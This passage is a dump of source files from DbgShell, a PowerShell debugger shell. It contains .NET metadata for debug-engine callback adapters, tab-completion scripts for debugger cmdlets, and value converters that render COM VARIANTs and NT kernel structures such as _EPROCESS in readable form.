VtableLayoutMask ChangeDebuggeeState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeEngineState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeSymbolState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Class DbgEngWrapper.DbgEngCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Class DbgEngWrapper.DbgEngEventContextCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.DbgEngCallbacksAdapter Void .ctor(DbgEngWrapper.IDebugEventContextCallbacksImp): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Interfaces: DbgEngWrapper.IComDbgEngEventContextCallbacks Methods: GetInterestMask(UInt32*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Breakpoint(IDebugBreakpoint2*, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Exception(_EXCEPTION_RECORD64*, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask CreateThread(UInt64, UInt64, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ExitThread(UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask CreateProcess(UInt64, UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, UInt64, UInt64, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ExitProcess(UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask LoadModule(UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask UnloadModule(Char*, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask SystemError(UInt32 IsLong, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask SessionStatus(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeDebuggeeState(UInt32 IsLong, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeEngineState(UInt32 IsLong, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeSymbolState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Class DbgEngWrapper.DbgEngCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Class DbgEngWrapper.DbgEngInputCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.DbgEngCallbacksAdapter Void .ctor(DbgEngWrapper.IDebugInputCallbacksImp): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Interfaces: DbgEngWrapper.IComDbgEngInputCallbacks Methods: StartInput(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask EndInput(): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Class DbgEngWrapper.DbgEngCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Class DbgEngWrapper.DbgEngOutputCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.DbgEngCallbacksAdapter Void .ctor(DbgEngWrapper.IDebugOutputCallbacksImp): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Interfaces: DbgEngWrapper.IComDbgEngOutputCallbacks Methods: Output(UInt32 IsLong, Char*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ================================================ FILE: DbgShell/x64/Debugger/Debugger.ArgumentCompleters.ps1 ================================================  if (!(Get-Command -ea Ignore Register-ArgumentCompleter)) { return } ############################################################################# # # Helper function to create a new completion results # # We can either make it a global function, or use GetNewClosure on the completer # functions. I'll make it global for now, since I think it is a little more performant # under a debugger (currently GetNewClosure results in exceptions internally). # function global:New-CompletionResult { param( [Parameter( Position = 0, ValueFromPipelineByPropertyName, Mandatory, ValueFromPipeline )] [ValidateNotNullOrEmpty()] [string] $CompletionText, [Parameter( Position = 1, ValueFromPipelineByPropertyName )] [string] $ToolTip, [Parameter( Position = 2, ValueFromPipelineByPropertyName )] [string] $ListItemText, [System.Management.Automation.CompletionResultType] $CompletionResultType = [System.Management.Automation.CompletionResultType]::ParameterValue, [Parameter(Mandatory = $false)] [switch] $NoQuotes = $false ) process { $toolTipToUse = if ($ToolTip -eq '') { $CompletionText } else { $ToolTip } $listItemToUse = if ($ListItemText -eq '') { $CompletionText } else { $ListItemText } # If the caller explicitly requests that quotes # not be included, via the -NoQuotes parameter, # then skip adding quotes. if ($CompletionResultType -eq [System.Management.Automation.CompletionResultType]::ParameterValue -and -not $NoQuotes) { # Add single quotes for the caller in case they are needed. # We use the parser to robustly determine how it will treat # the argument. If we end up with too many tokens, or if # the parser found something expandable in the results, we # know quotes are needed. $tokens = $null $null = [System.Management.Automation.Language.Parser]::ParseInput("echo $CompletionText", [ref]$tokens, [ref]$null) if ($tokens.Length -ne 3 -or ($tokens[1] -is [System.Management.Automation.Language.StringExpandableToken] -and $tokens[1].Kind -eq [System.Management.Automation.Language.TokenKind]::Generic)) { $CompletionText = "'$CompletionText'" } } return New-Object System.Management.Automation.CompletionResult ` ($CompletionText,$listItemToUse,$CompletionResultType,$toolTipToUse.Trim()) } } # end New-CompletionResult # # .SYNOPSIS # # Complete symbol names in the -Expression parameter to breakpoint cmdlets, or for the # -Name parameter to Get-DbgSymbol. # function GlobalSymbolNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) . "$PSScriptRoot\Debugger.ArgumentCompleters.shared.ps1" #$Host.EnterNestedPrompt() # TODO: Would be nice to be able to use EnterNestedPrompt when debugging, but I can't # (the following shows up in $error): # # Exception calling "EnterNestedPrompt" with "0" argument(s): "No pipeline is running." # At C:\Projects\DbgShell\bin\Debug\x86\Debugger\Debugger.ArgumentCompleters.ps1:23 char:5 # + $Host.EnterNestedPrompt() # + ~~~~~~~~~~~~~~~~~~~~~~~~~ # + CategoryInfo : NotSpecified: (:) [], MethodInvocationException # + FullyQualifiedErrorId : InvalidOperationException # # (A cheap trick workaround is to assign things to global variables for later inspection.) # $global:AstThing = $commandAst # $global:fbpThing = $fakeBoundParameter # $global:pnThing = $parameterName # $global:cnThing = $commandName [MS.Dbg.GlobalSymbolCategory] $category = [MS.Dbg.GlobalSymbolCategory]::All if( ($commandName -eq 'u') -or ($commandName -eq 'uf') -or ($commandName -eq 'ub') -or ($commandName -eq 'Read-DbgDisassembly') ) { $category = 'Function,NoType' } elseif( $fakeBoundParameter[ 'Category' ] ) { $category = [MS.Dbg.GlobalSymbolCategory] $fakeBoundParameter[ 'Category' ] } priv_GlobalSymbolNameCompletion $wordToComplete -category $category | New-CompletionResult } # end GlobalSymbolNameCompletion # # .SYNOPSIS # # Complete symbol names in the -Name argument to symbol-related cmdlets. # function LocalSymbolNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) # TODO: What about options like -Scope? Get-DbgLocalSymbol -Name "$($wordToComplete)*" | ForEach-Object { New-CompletionResult ($_.Name | QuoteAndEscapeSymbolNameIfNeeded) } } # end LocalSymbolNameCompletion # # .SYNOPSIS # # Complete symbol names for Get-DbgSymbolValue. # function GlobalAndLocalSymbolNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) . "$PSScriptRoot\Debugger.ArgumentCompleters.shared.ps1" if( !$wordToComplete -or !$wordToComplete.Contains( '.' ) ) { if( $wordToComplete.IndexOf( [char] '!' ) -lt 0 ) { Get-DbgLocalSymbol -Name "$($wordToComplete)*" | ForEach-Object { New-CompletionResult ($_.Name | QuoteAndEscapeSymbolNameIfNeeded) } } [MS.Dbg.GlobalSymbolCategory] $category = [MS.Dbg.GlobalSymbolCategory]::All if( $fakeBoundParameter[ 'Category' ] ) { $category = [MS.Dbg.GlobalSymbolCategory] $fakeBoundParameter[ 'Category' ] } # Also cycle through 'module!' in case they are looking for a global. priv_GlobalSymbolNameCompletion $wordToComplete -category $category | New-CompletionResult } else { if( $commandName -eq 'x' ) { # "x" does not support delving into fields. return } $tokens = $wordToComplete.Split( '.' ) # TODO: I think I'm going to want to try to cache this stuff for perf reasons if( $wordToComplete.IndexOf( [char] '!' ) -lt 0 ) { $val = Get-DbgLocalSymbol -Name $tokens[ 0 ] } else { $val = Get-DbgSymbol -Name $tokens[ 0 ] } if( $null -eq $val ) { return } $val = $val.Value if( $null -eq $val ) { return } [int] $i = 0; [string] $prefix = $tokens[ 0 ] for( $i = 1; $i -lt ($tokens.Count - 1); $i++ ) { $prefix += ".$($tokens[ $i ])" $val = $val.PSObject.Properties[ $tokens[ $i ] ].Value } $matchToken = $tokens[ $i ] $prefix += "." if( !$matchToken ) { $matchToken = '*' } else { $matchToken += '*' } $pat = New-WildcardPattern $matchToken $val.PSObject.Properties | ForEach-Object { if( $pat.IsMatch( $_.Name ) ) { New-CompletionResult ($prefix + ($_.Name) | QuoteAndEscapeSymbolNameIfNeeded) } } } } # end GlobalAndLocalSymbolNameCompletion # # .SYNOPSIS # # Complete local symbol, global symbol and type names for 'dt'. # function GlobalAndLocalSymbolAndTypeNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) . "$PSScriptRoot\Debugger.ArgumentCompleters.ps1" # This is awkward. if( !$wordToComplete -or !$wordToComplete.Contains( '.' ) ) { GlobalAndLocalSymbolNameCompletion $commandName $parameterName $wordToComplete $commandAst $fakeBoundParameter TypeNameCompletion $commandName $parameterName $wordToComplete $commandAst $fakeBoundParameter } else { GlobalAndLocalSymbolNameCompletion $commandName $parameterName $wordToComplete $commandAst $fakeBoundParameter } } # end GlobalAndLocalSymbolAndTypeNameCompletion # # .SYNOPSIS # # Complete module names. # function ModuleNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) # Complete the module name: Get-DbgModuleInfo -Name "$($wordToComplete)*" | ForEach-Object { New-CompletionResult ($_.Name) } } # end ModuleNameCompletion # # .SYNOPSIS # # Complete module names. # function FullModuleNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) # TODO: Minor bug: if you type "foo.dl" and then [TAB] expecting it to complete to # "foo.dll", it won't work, since Get-DbgModuleInfo won't find a module with that # prefix. Get-DbgModuleInfo -Name "$($wordToComplete)*" | ForEach-Object { New-CompletionResult ([System.IO.Path]::GetFileName( $_.ImageName )) } } # end FullModuleNameCompletion # # .SYNOPSIS # # Complete type names. # function TypeNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) try { $tokens = $wordToComplete.Split( '!' ) if( $tokens.Count -eq 1 ) { # Complete the module name: Get-DbgModuleInfo -Name "$($tokens[ 0 ])*" | ForEach-Object { $_.Name + '!' } | QuoteAndEscapeSymbolNameIfNeeded } elseif( $tokens.Count -eq 2 ) { # Complete the type name within the module: Get-DbgTypeInfo -NoFollowTypedefs -Name "$($wordToComplete)*" | ForEach-Object { $tokens[ 0 ] + '!' + $_.Name } | QuoteAndEscapeSymbolNameIfNeeded } else { # Multiple bangs? I don't know what to do with this. return } } finally { } } Register-ArgumentCompleter ` -Command ('Set-DbgBreakpoint') ` -Parameter 'Expression' ` -ScriptBlock $function:GlobalSymbolNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgSymbol') ` -Parameter 'Name' ` -ScriptBlock $function:GlobalSymbolNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgNearSymbol', 'u', 'uf', 'ub', 'Read-DbgDisassembly') ` -Parameter 'Address' ` -ScriptBlock $function:GlobalSymbolNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgLocalSymbol') ` -Parameter 'Name' ` -ScriptBlock $function:LocalSymbolNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgSymbolValue', 'x') ` -Parameter 'Name' ` -ScriptBlock $function:GlobalAndLocalSymbolNameCompletion Register-ArgumentCompleter ` -Command ('dt') ` -Parameter 'TypeNameOrAddress' ` -ScriptBlock $function:GlobalAndLocalSymbolAndTypeNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgModuleInfo') ` -Parameter 'Name' ` -ScriptBlock $function:ModuleNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgTypeInfo') ` -Parameter 'Module' ` -ScriptBlock $function:ModuleNameCompletion Register-ArgumentCompleter ` -Command ('Initialize-DbgSymbols') ` -Parameter 'Module' ` -ScriptBlock $function:FullModuleNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgTypeInfo') ` -Parameter 'Name' ` -ScriptBlock $function:TypeNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgSymbolValue') ` -Parameter 'Type' ` -ScriptBlock $function:TypeNameCompletion ================================================ FILE: DbgShell/x64/Debugger/Debugger.ArgumentCompleters.shared.ps1 ================================================ # This file is intended to be dot-sourced by functions in Debugger.ArgumentCompleters.ps1. function New-WildcardPattern( [string] $pattern ) { return New-Object 'System.Management.Automation.WildcardPattern' -ArgumentList @( $pattern, ([System.Management.Automation.WildcardOptions]::CultureInvariant -bor [System.Management.Automation.WildcardOptions]::IgnoreCase) ) } function priv_GlobalSymbolNameCompletion { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $wordToComplete, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.GlobalSymbolCategory] $category = [MS.Dbg.GlobalSymbolCategory]::All ) begin { } end { } process { try { $tokens = $wordToComplete.Split( '!' ) if( $tokens.Count -eq 1 ) { # Complete the module name: Get-DbgModuleInfo -Name "$($tokens[ 0 ])*" | ForEach-Object { $_.Name + '!' } | QuoteAndEscapeSymbolNameIfNeeded } elseif( $tokens.Count -eq 2 ) { # Complete the symbol name within the module: Get-DbgSymbol -Name "$($wordToComplete)*" -Category $category | ForEach-Object { $_.PathString } | QuoteAndEscapeSymbolNameIfNeeded } else { # Multiple bangs? I don't know what to do with this. return } } finally { } } # end 'process' block } # end priv_GlobalSymbolNameCompletion ================================================ FILE: DbgShell/x64/Debugger/Debugger.Converters.COM.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName '!tagVARIANT' -Converter { try { # $_ is the symbol $sym = $_ $stockValue = $sym.GetStockValue() $vt = $stockValue.vt -band 0x0fff # [System.Runtime.InteropServices.VarEnum]::VT_TYPEMASK $isVector = 0 -ne ($stockValue.vt -band [System.Runtime.InteropServices.VarEnum]::VT_VECTOR) $isArray = 0 -ne ($stockValue.vt -band [System.Runtime.InteropServices.VarEnum]::VT_ARRAY) $isByRef = 0 -ne ($stockValue.vt -band [System.Runtime.InteropServices.VarEnum]::VT_BYREF) # N.B. Not all VT_* or combinations of VT_* and the modiftying flags are valid in # a VARIANT structure. From WTypes.h: # # VARENUM usage key, # # * [V] - may appear in a VARIANT # * [T] - may appear in a TYPEDESC # * [P] - may appear in an OLE property set # * [S] - may appear in a Safe Array # # # VT_EMPTY [V] [P] nothing # VT_NULL [V] [P] SQL style Null # VT_I2 [V][T][P][S] 2 byte signed int # VT_I4 [V][T][P][S] 4 byte signed int # VT_R4 [V][T][P][S] 4 byte real # VT_R8 [V][T][P][S] 8 byte real # VT_CY [V][T][P][S] currency # VT_DATE [V][T][P][S] date # VT_BSTR [V][T][P][S] OLE Automation string # VT_DISPATCH [V][T] [S] IDispatch * # VT_ERROR [V][T][P][S] SCODE # VT_BOOL [V][T][P][S] True=-1, False=0 # VT_VARIANT [V][T][P][S] VARIANT * # VT_UNKNOWN [V][T] [S] IUnknown * # VT_DECIMAL [V][T] [S] 16 byte fixed point # VT_RECORD [V] [P][S] user defined type # VT_I1 [V][T][P][s] signed char # VT_UI1 [V][T][P][S] unsigned char # VT_UI2 [V][T][P][S] unsigned short # VT_UI4 [V][T][P][S] unsigned long # VT_I8 [T][P] signed 64-bit int # VT_UI8 [T][P] unsigned 64-bit int # VT_INT [V][T][P][S] signed machine int # VT_UINT [V][T] [S] unsigned machine int # VT_INT_PTR [T] signed machine register size width # VT_UINT_PTR [T] unsigned machine register size width # VT_VOID [T] C style void # VT_HRESULT [T] Standard return type # VT_PTR [T] pointer type # VT_SAFEARRAY [T] (use VT_ARRAY in VARIANT) # VT_CARRAY [T] C style array # VT_USERDEFINED [T] user defined type # VT_LPSTR [T][P] null terminated string # VT_LPWSTR [T][P] wide null terminated string # VT_FILETIME [P] FILETIME # VT_BLOB [P] Length prefixed bytes # VT_STREAM [P] Name of the stream follows # VT_STORAGE [P] Name of the storage follows # VT_STREAMED_OBJECT [P] Stream contains an object # VT_STORED_OBJECT [P] Storage contains an object # VT_VERSIONED_STREAM [P] Stream with a GUID version # VT_BLOB_OBJECT [P] Blob contains an object # VT_CF [P] Clipboard format # VT_CLSID [P] A Class ID # VT_VECTOR [P] simple counted array # VT_ARRAY [V] SAFEARRAY* # VT_BYREF [V] void* for local use # VT_BSTR_BLOB Reserved for system use # if( $isVector ) { Write-Warning "A VT_VECTOR is not supposed to show up in a VARIANT." return $stockValue } # VT_EMPTY is 0. if( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_EMPTY ) { if( $isByRef -and $isArray ) { return $stockValue.pparray } if( $isByRef ) { return $stockValue.byref # void* } elseif( $isArray ) { return $stockValue.parray } else { return New-Object 'MS.Dbg.DbgNoValue' -Arg @( $sym ) } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_NULL ) { return [System.DBNull]::Value } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_I2 ) { if( $isByRef ) { return $stockValue.piVal } else { return $stockValue.iVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_I4 ) { if( $isByRef ) { return $stockValue.pintVal } else { return $stockValue.intVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_R4 ) { if( $isByRef ) { return $stockValue.pfltVal } else { return $stockValue.fltVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_R8 ) { if( $isByRef ) { return $stockValue.pdblVal } else { return $stockValue.dblVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_CY ) { if( $isByRef ) { return $stockValue.pcyVal } else { return $stockValue.cyVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_DATE ) { if( $isByRef ) { return $stockValue.pdate } else { return $stockValue.date } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_BSTR ) { # TODO: I don't think I treat BSTRs any differently than regular C strings... if( $isByRef ) { return $stockValue.pbstrVal } else { return $stockValue.bstrVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_DISPATCH ) { if( $isByRef ) { return $stockValue.ppdispVal } else { return $stockValue.pdispVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_ERROR ) { if( $isByRef ) { return $stockValue.pscode } else { return $stockValue.scode } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_BOOL ) { if( $isByRef ) { # TODO } else { if( 0xffff -eq $stockValue.boolVal ) { return $true } elseif( 0 -eq $stockValue.boolVal ) { return $false } else { # WARNING! all-bits or no-bits are supposed to be the only valid values. return "Invalid VARIANT_BOOL: $($stockValue.boolVal)" } } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_VARIANT ) { if( $isByRef ) { return $stockValue.pvarVal } else { Write-Warning "A VARIANT cannot contain a naked VARIANT." return $stockValue } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UNKNOWN ) { if( $isByRef ) { return $stockValue.ppunkVal } else { return $stockValue.punkVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_DECIMAL ) { if( $isByRef ) { return $stockValue.pdecVal } else { return $stockValue.decVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_I1 ) { if( $isByRef ) { return $stockValue.pcVal } else { return $stockValue.cVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UI1 ) { if( $isByRef ) { return $stockValue.pbVal } else { return $stockValue.bVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UI2 ) { if( $isByRef ) { return $stockValue.puiVal } else { return $stockValue.uiVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UI4 ) { if( $isByRef ) { return $stockValue.puintVal } else { return $stockValue.uintVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_I8 ) { if( $isByRef ) { return $stockValue.pllVal } else { return $stockValue.llVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UI8 ) { if( $isByRef ) { return $stockValue.pullVal } else { return $stockValue.ullVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_INT ) { # What is a "signed machine integer"? I guess I would need to detect the # target's machine type and make a decision of what field to use based on # that. But I'll just guess 4 bytes instead. if( $isByRef ) { return $stockValue.pintVal } else { return $stockValue.intVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UINT ) { # What is an "unsigned machine integer"? I guess I would need to detect # the target's machine type and make a decision of what field to use based # on that. But I'll just guess 4 bytes instead. if( $isByRef ) { return $stockValue.puintVal } else { return $stockValue.uintVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_VOID ) { if( $isByRef ) { # TODO } else { return $stockValue.byref } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_HRESULT ) { if( $isByRef ) { return $stockValue.puintVal } else { return $stockValue.uintVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_PTR ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_SAFEARRAY ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_CARRAY ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_USERDEFINED ) { return $stockValue } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_LPSTR ) { if( $isByRef ) { # TODO } else { return $stockValue.pcVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_LPWSTR ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_RECORD ) { # TODO assert: no $isByRef, etc. return $stockValue.pRecInfo } <# VT_INT_PTR is not defined on that enum, and it's not valid for a VARIANT anyway. elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_INT_PTR ) { if( $isByRef ) { # TODO } else { # TODO } } #> <# VT_UINT_PTR is not defined on that enum, and it's not valid for a VARIANT anyway. elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UINT_PTR ) { if( $isByRef ) { # TODO } else { # TODO } } #> elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_FILETIME ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_BLOB ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_STREAM ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_STORAGE ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_STREAMED_OBJECT ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_STORED_OBJECT ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_BLOB_OBJECT ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_CF ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_CLSID ) { } <# VT_VERSIONED_STREAM is not defined on that enum, and it's not valid for a VARIANT anyway. elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_VERSIONED_STREAM ) { } #> return $stockValue } finally { } } # end VARIANT converter } ================================================ FILE: DbgShell/x64/Debugger/Debugger.Converters.NT.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName '!_EXCEPTION_RECORD' -Converter { try { # # Some definitions of ExceptionRecord have the ExceptionCode field defined as # a /signed/ 4-byte integer. So we're just going to override the .ToString() # on the ExceptionCode field so that it always shows hex. # # An alternative would be to stick a new type name ('System.UInt32') into the # ExceptionCode field's TypeNames list. (because uints already have a view # definition that prints them as hex) # # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $exceptionCode = $val.ExceptionCode [string] $str = '' if( ($exceptionCode -ge 0) -and ($exceptionCode -lt 10) ) { $str = $exceptionCode.ToString() } else { $str = '0x' + $exceptionCode.ToString( 'x8' ) } Add-Member -InputObject $exceptionCode ` -MemberType ScriptMethod ` -Name 'ToString' ` -Value { $str }.GetNewClosure() ` -Force $val.DbgReplaceMemberValue( 'ExceptionCode', $exceptionCode ) return $val } catch { # We could be looking at bad data. return $null } finally { } } # end _EXCEPTION_RECORD converter New-DbgValueConverterInfo -TypeName @( '!_UNICODE_STRING', '!_LUNICODE_STRING', '!_LUTF8_STRING', '!_STRING' ) -Converter { try { # # We're just going to override the .ToString() method so that it returns the actual string. # # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() [string] $str = '' if( $val.Length -gt 0 ) { # On win7 x86, _UNICODE_STRING.Buffer shows up as "wchar_t*", # so we've already automagically turned it into a string. But # on win8 x64, it shows up as an "unsigned short*". So we'll # just use the pointer value to handle all cases. # $encoding = [System.Text.Encoding]::Unicode if( $val.DbgGetSymbol().Type.Name.IndexOf( 'UTF8' ) -ge 0 ) { $encoding = [System.Text.Encoding]::Utf8 } elseif( $val.Buffer.DbgGetSymbol().Type.PointeeType.Size -eq 1 ) { $encoding = [System.Text.Encoding]::ASCII } try { $str = $Debugger.ReadMemAs_String( $val.Buffer.DbgGetPointer(), $val.Length, $encoding ) } catch { $cs.AppendPushPopFg( [ConsoleColor]::Red, "" ) } } Add-Member -InputObject $val ` -MemberType ScriptMethod ` -Name 'ToString' ` -Value { $str }.GetNewClosure() ` -Force return $val } finally { } } # end _*STRING converter # _HANDLE_TABLE has a FreeLists member declared as a _HANDLE_TABLE_FREE_LIST[1], but # the true number of elements in the array is nt!ExpFreeListCount. We'll use this # converter to automagically expand that out. # # TODO: before build 7773 this was different. Do we care about stuff that old? New-DbgValueConverterInfo -TypeName 'nt!_HANDLE_TABLE' -Converter { try { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } try { $numFreeLists = dt nt!ExpFreeListCount if( $null -ne $numFreeLists ) # not sure if this is possible. Is it in paged mem? { # I believe this is what ExpFreeListCount gets initialized to. Hopefully this is valid... $numFreeLists = [Math]::Min( $Debugger.GetNumberProcessors(), 128 ) } $s = $val.FreeLists.DbgGetSymbol() $rightSized = $s.AsArray( $numFreeLists ).Value $val.DbgReplaceMemberValue( 'FreeLists', $rightSized ) } catch { # We could be looking at bad data. return $null } # InsertTypeNameBefore -InputObject $val ` # -NewTypeName 'ConverterApplied:_HANDLE_TABLE' ` # -Before 'nt!_HANDLE_TABLE' return $val } finally { } } # end _HANDLE_TABLE converter New-DbgValueConverterInfo -TypeName 'nt!_EPROCESS' -Converter { try { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } # 'Session' is stored as a PVOID. Let's replace it with a strongly-typed pointer. # # (BTW... apparently this is true since build no. 2280. Do I care about dumps # older than that? (How old exactly is that? I think pretty old.) # TODO: Should we cache this type info? $t = dt 'nt!_MM_SESSION_SPACE' if( !$t ) { Write-Error "Could not find type 'nt!_MM_SESSION_SPACE'." return $null # signals that we can't do the conversion. } try { $session = $val.Session.DbgReinterpretPointeeType( $t ) $val.DbgReplaceMemberValue( 'Session', $session ) } catch { # We could be looking at bad data. # # In that case, should we replace with an error? Or just leave it? $problem = $_ $val.DbgReplaceMemberValue( 'Session', $problem ) } # # Let's add a convenient HandleCount property. The object table is in paged # memory, though, so it might not be available, so we'll make the value # nullable. # # The FreeLists variable-sized array should have already been right-sized by # the _HANDLE_TABLE converter. $handleCount = $null if( $val.ObjectTable -and ($val.ObjectTable -isnot [MS.Dbg.DbgValueError]) ) { $handleCount = 0 foreach( $fl in $val.ObjectTable.FreeLists ) { if( $fl.HandleCount -ne [UInt32]::MaxValue ) { $handleCount += $fl.HandleCount } } } Add-Member @commonParams -Name 'HandleCount' -Value $handleCount # # Let's see if we can get the full (un-truncated) image name. # $fullName = $null # I think it could be in paged memory. if( $val.SeAuditProcessCreationInfo -and ($val.SeAuditProcessCreationInfo -isnot [MS.Dbg.DbgValueError]) ) { $fullName = $val.SeAuditProcessCreationInfo.ImageFileName.Name.ToString() } Add-Member @commonParams -Name 'FullImageFileName' -Value $fullName # # Let's replace the ImageFileName byte[15] with an 